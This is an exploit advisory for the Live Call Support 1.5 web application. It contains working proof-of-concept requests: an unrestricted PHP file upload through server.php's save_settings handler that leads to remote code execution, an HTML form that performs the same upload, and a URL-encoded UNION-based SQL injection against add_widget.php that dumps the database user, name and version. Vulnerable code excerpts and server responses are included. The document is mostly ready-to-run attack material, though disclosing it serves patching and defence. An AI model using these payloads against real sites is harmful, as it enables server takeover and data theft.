Live Call Support 1.5 Code Execution / SQL Injection

2019.01.15
Credit: Ihsan Sencan
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# Exploit Title: Live Call Support 1.5 - Remote Code Execution / SQL Injection # Dork: N/A # Date: 2019-01-13 # Exploit Author: Ihsan Sencan # Vendor Homepage: http://ranksol.com/ # Software Link: https://codecanyon.net/item/live-call-support-widget-software-online-calling-web-application/22532799 # Version: 1.5 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # POC: # 1) # http://localhost/[PATH]/server.php # #/[PATH]/server.php #912 case "save_settings":{ #913 if($_FILES['call_widget_image']['name']!=''){ #914 $ext = getExtension($_FILES['call_widget_image']['name']); #915 $fileName = uniqid().'.'.$ext; #916 $tmpName = $_FILES['call_widget_image']['tmp_name']; #917 $res = move_uploaded_file($tmpName,'images/'.$fileName); #918 if($res){ #919 $fileName = $fileName; #920 @unlink('images/'.$_REQUEST['hidden_call_widget_image']); #921 }else{ #922 $fileName = $_REQUEST['hidden_call_widget_image']; #923 } #924 }else{ #925 $fileName = $_REQUEST['hidden_call_widget_image']; #926 } POST /[PATH]/server.php HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/octet-stream Content-Length: 592 Cookie: PHPSESSID=5fd1dbc1e4c6b5876e1f44dbc157af9f DNT: 1 Connection: keep-alive Upgrade-Insecure-Requests: 1 -----------------------------307672102411665: undefined Content-Disposition: form-data; name="call_widget_image"; filename="phpinfo.php" <?php phpinfo(); ?> -----------------------------307672102411665 Content-Disposition: form-data; name="hidden_call_widget_image" 5c3b2a6842c13.png -----------------------------307672102411665 Content-Disposition: form-data; name="settings_id" 1 -----------------------------307672102411665 Content-Disposition: form-data; name="cmd" save_settings -----------------------------307672102411665-- HTTP/1.1 302 Found Date: Sun, 13 Jan 2019 12:14:24 GMT Server: Apache X-Powered-By: PHP/7.1.25 Access-Control-Allow-Origin: * Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding location: settings.php Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 # POC: # 2) # http://localhost/[PATH]/server.php # <html> <body> <form action="http://localhost/[PATH]/server.php" method="post" enctype="multipart/form-data"> <div class="form-group"> <label>Call Widget Image</label> <input name="call_widget_image" type="file"> <input name="hidden_call_widget_image" value="5c3b2a6842c13.png" type="hidden"> </div> <div class="form-group"> <input name="settings_id" value="1" type="hidden"> <input name="cmd" value="save_settings" type="hidden"> <input value="Save" class="btn btn-primary" type="submit"> <input value="Back" class="btn btn-default" onclick="history.go(-1)" type="button"> </div> </form> </body> </html> # POC: # 3) # http://localhost/[PATH]/add_widget.php?wid=[SQL] # #04 if($_REQUEST['wid']!=''){ #05 $widget = getWidget($_REQUEST['wid']); #06 $pageTitle = 'Edit Widget'; #07 }else{ #08 $pageTitle = 'Create Widget'; #09 } GET /[PATH]/add_widget.php?wid=%2d%34%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%201,%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29,%56%45%52%53%49%4f%4e()%29%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2d%2d%20%2d HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=5fd1dbc1e4c6b5876e1f44dbc157af9f DNT: 1 Connection: keep-alive Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Date: Sun, 13 Jan 2019 12:34:12 GMT Server: Apache X-Powered-By: PHP/7.1.25 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8


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